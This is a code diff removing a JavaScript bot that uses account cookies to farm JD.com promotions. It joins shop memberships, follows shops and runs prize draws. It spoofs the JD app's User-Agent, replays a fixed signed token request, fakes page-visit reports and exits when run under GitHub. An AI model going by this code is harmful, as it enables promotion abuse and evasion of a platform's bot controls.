= cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - authorCodeList = [ - '4122d9ea64864a6baaae8ef2cddc5e9f', - '0da6e42c4e5f44879c9493ec3905fbe0' - ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = '21h3i1h3h2u1h3g43gy4g3yu2u23u423' - $.activityShopId = '1000089686' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await marry(); - await $.wait(3000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function marry() { - $.log('那就开始吧。') - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - $.log("->关注店铺") - if ($.shopTask) { - if (!$.shopTask.allStatus) { - await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) - } else { - $.log(" >>>已经关注过了\n") - return - } - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加入店铺会员") - if ($.openCardStatus) { - for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { - $.log("模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000089686&pageId=21h3i1h3h2u1h3g43gy4g3yu2u23u423&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - t1TaskList = [] - $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) - t2TaskList = [] - $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) - if (t1TaskList.length < 1) { - console.log(" >>>已经完成入会任务") - - } else { - for (const vo of t1TaskList) { - $.log(` >>>去加入${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - for (const vo of t2TaskList) { - $.log(` >>>${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - } - - await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) - - } else { - $.log("没有获取到对应的任务。\n") - } - - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'wxActionCommon/getUserInfo': - break; - case 'dz/openCard/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log(ownCode) - } - $.actorUuid = data.data.actorUuid; - $.skuTask = data.data.addSku; - $.shopTask = data.data.followShop; - } else { - $.log("活动已经结束"); - } - break; - case 'dz/openCard/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'dz/openCard/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - case 'dz/openCard/startDraw': - if (data.data.drawOk) { - switch (data.data.drawInfo.type) { - case 6: - $.bean += data.data.drawInfo.beanNum; - $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) - break; - default: - if ($.isNode()) { - await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } else { - $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } - break; - } - } - break; - case 'crm/pageVisit/insertCrmPageVisit': - $.log("==> 上报成功") - - case 'dz/openCard/followShop': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = 